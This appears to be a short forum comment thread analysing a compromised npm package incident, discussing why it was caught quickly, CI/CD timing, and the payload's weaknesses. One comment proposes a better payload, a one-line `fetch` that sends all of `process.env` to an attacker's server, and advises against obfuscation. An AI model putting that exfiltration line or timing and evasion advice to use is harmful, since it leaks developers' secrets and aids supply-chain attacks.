It was discovered pretty quickly, i don’t think most “big” projects update their packages within minutes of publication.

▲

pixl97 3 days ago | parent | next [-]

Really I'd say the key here is timing. I didn't look into what time the NPM packages were updated, but there are a few key times depending on what markets you're targeting. If it were Indian devs it would be around 2AM CST and if it's US devs it would be around 10AM CST.

This is when I see the ramp up in queuing in CI/CD builds that lasts a few hours across companies and is more likely to trigger a package getting rebuilt.

▲

zachrip 3 days ago | parent | prev [-]

It was also packages that in my experience don't often find themselves on the frontend.

	▲	naugtur 3 days ago \| parent [-]
		- the attack it shipped was not a great fit for the packages compromised. `fetch(myserverurl+JSON.stringify(process.env))` would be a much more profitable payload - naive obfuscation makes lights go red in so many places it'd be better to not obfuscate at all. - the addresses were marked as malicious by Blockaid sooner than the package could reach production in most apps. Most wallets were ready to warn users early enough.